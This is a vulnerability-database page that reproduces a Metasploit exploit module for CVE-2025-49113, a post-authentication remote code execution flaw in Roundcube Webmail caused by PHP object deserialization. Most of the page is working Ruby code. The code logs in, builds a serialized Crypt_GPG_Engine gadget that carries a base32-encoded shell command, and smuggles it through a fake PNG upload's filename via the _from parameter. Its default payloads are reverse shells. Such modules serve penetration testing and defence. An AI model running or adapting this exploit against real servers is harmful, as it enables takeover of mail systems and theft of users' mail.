Lucene search
K

Roundcube Post-Auth RCE via PHP Object Deserialization

🗓️ 11 Jun 2025 18:51:35Reported by Maksim Rogov, Kirill FirsovType 
metasploit
 metasploit
🔗 www.rapid7.com👁 618 Views

Roundcube post-authentication deserialization leads to remote code execution via the upload parameter.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-49113
19 Aug 202502:35
githubexploit
GithubExploit
Exploit for CVE-2025-49113
18 Jun 202519:10
githubexploit
GithubExploit
Exploit for CVE-2025-49113
19 Sep 202506:07
githubexploit
GithubExploit
Exploit for CVE-2025-49113
11 Jul 202513:19
githubexploit
GithubExploit
Exploit for CVE-2025-49113
10 Jun 202515:21
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Roundcube Webmail
11 Apr 202621:54
githubexploit
GithubExploit
Exploit for CVE-2025-49113
3 Jun 202519:04
githubexploit
GithubExploit
Exploit for CVE-2025-49113
19 Sep 202506:07
githubexploit
GithubExploit
Exploit for CVE-2025-49113
22 Jun 202516:13
githubexploit
GithubExploit
Exploit for CVE-2025-49113
11 Jul 202513:19
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Roundcube Post-Auth RCE via PHP Object Deserialization',
        'Description' => %q{
          Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
          by authenticated users because the _from parameter in a URL is not validated
          in program/actions/settings/upload.php, leading to PHP Object Deserialization.

          An attacker can execute arbitrary system commands as the web server.
        },
        'Author' => [
          'Maksim Rogov', # msf module
          'Kirill Firsov', # disclosure and original exploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-49113'],
          ['EDB', '52324'],
          ['URL', 'https://fearsoff.org/research/roundcube']
        ],
        'DisclosureDate' => '2025-06-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Targets' => [
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => [ARCH_CMD],
              'Type' => :nix_cmd,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0
      )
      )

    register_options(
      [
        OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
        OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
        OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
        OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
      ]
    )
  end

  class PhpPayloadBuilder
    def initialize(command)
      @encoded = Rex::Text.encode_base32(command)
      @gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
    end

    def build
      len = @gpgconf.bytesize
      %(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
    end
  end

  def fetch_login_page
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' => { '_task' => 'login' }
    )

    fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
    res
  end

  def check
    res = fetch_login_page

    unless res.body =~ /"rcversion"\s*:\s*(\d+)/
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
    end

    version = Rex::Version.new(Regexp.last_match(1).to_s)
    print_good("Extracted version: #{version}")

    if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
      return CheckCode::Appears('The target is running a vulnerable version')
    elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
      return CheckCode::Appears('The target is running a vulnerable version')
    end

    CheckCode::Safe('The target version is not vulnerable')
  end

  def build_serialized_payload
    print_status('Preparing payload...')

    stager = case target['Type']
             when :nix_cmd
               payload.encoded
             when :linux_dropper
               generate_cmdstager.join(';')
             else
               fail_with(Failure::BadConfig, 'Unsupported target type')
             end

    serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
    print_good('Payload successfully generated and serialized.')
    serialized
  end

  def exploit
    token = fetch_csrf_token
    login(token)

    payload_serialized = build_serialized_payload
    upload_payload(payload_serialized)
  end

  def fetch_csrf_token
    print_status('Fetching CSRF token...')

    res = fetch_login_page
    html = res.get_html_document

    token_input = html.at('input[name="_token"]')
    unless token_input
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
    end

    token = token_input.attributes.fetch('value', nil)
    if token.blank?
      fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
    end

    print_good("Extracted token: #{token}")
    token
  end

  def login(token)
    print_status('Attempting login...')
    vars_post = {
      '_token' => token,
      '_task' => 'login',
      '_action' => 'login',
      '_url' => '_task=login',
      '_user' => datastore['USERNAME'],
      '_pass' => datastore['PASSWORD']
    }

    vars_post['_host'] = datastore['HOST'] if datastore['HOST']

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => vars_post,
      'vars_get' => { '_task' => 'login' }
    )

    fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302

    print_good('Login successful.')
  end

  def generate_from
    options = [
      'compose',
      'reply',
      'import',
      'settings',
      'folders',
      'identity'
    ]
    options.sample
  end

  def generate_id
    random_data = SecureRandom.random_bytes(8)
    timestamp = Time.now.to_f.to_s
    Digest::MD5.hexdigest(random_data + timestamp)
  end

  def generate_uploadid
    millis = (Time.now.to_f * 1000).to_i
    "upload#{millis}"
  end

  def upload_payload(payload_filename)
    print_status('Uploading malicious payload...')

    # 1x1 transparent pixel image
    png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
    boundary = Rex::Text.rand_text_alphanumeric(8)

    data = ''
    data << "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
    data << "Content-Type: image/png\r\n\r\n"
    data << png_data
    data << "\r\n--#{boundary}--\r\n"

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => data
    })

    print_good('Exploit attempt complete. Check for session.')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 19:02Current
8.5High risk
Vulners AI Score8.5
CVSS 3.18.8 - 9.9
EPSS0.89163
SSVC
618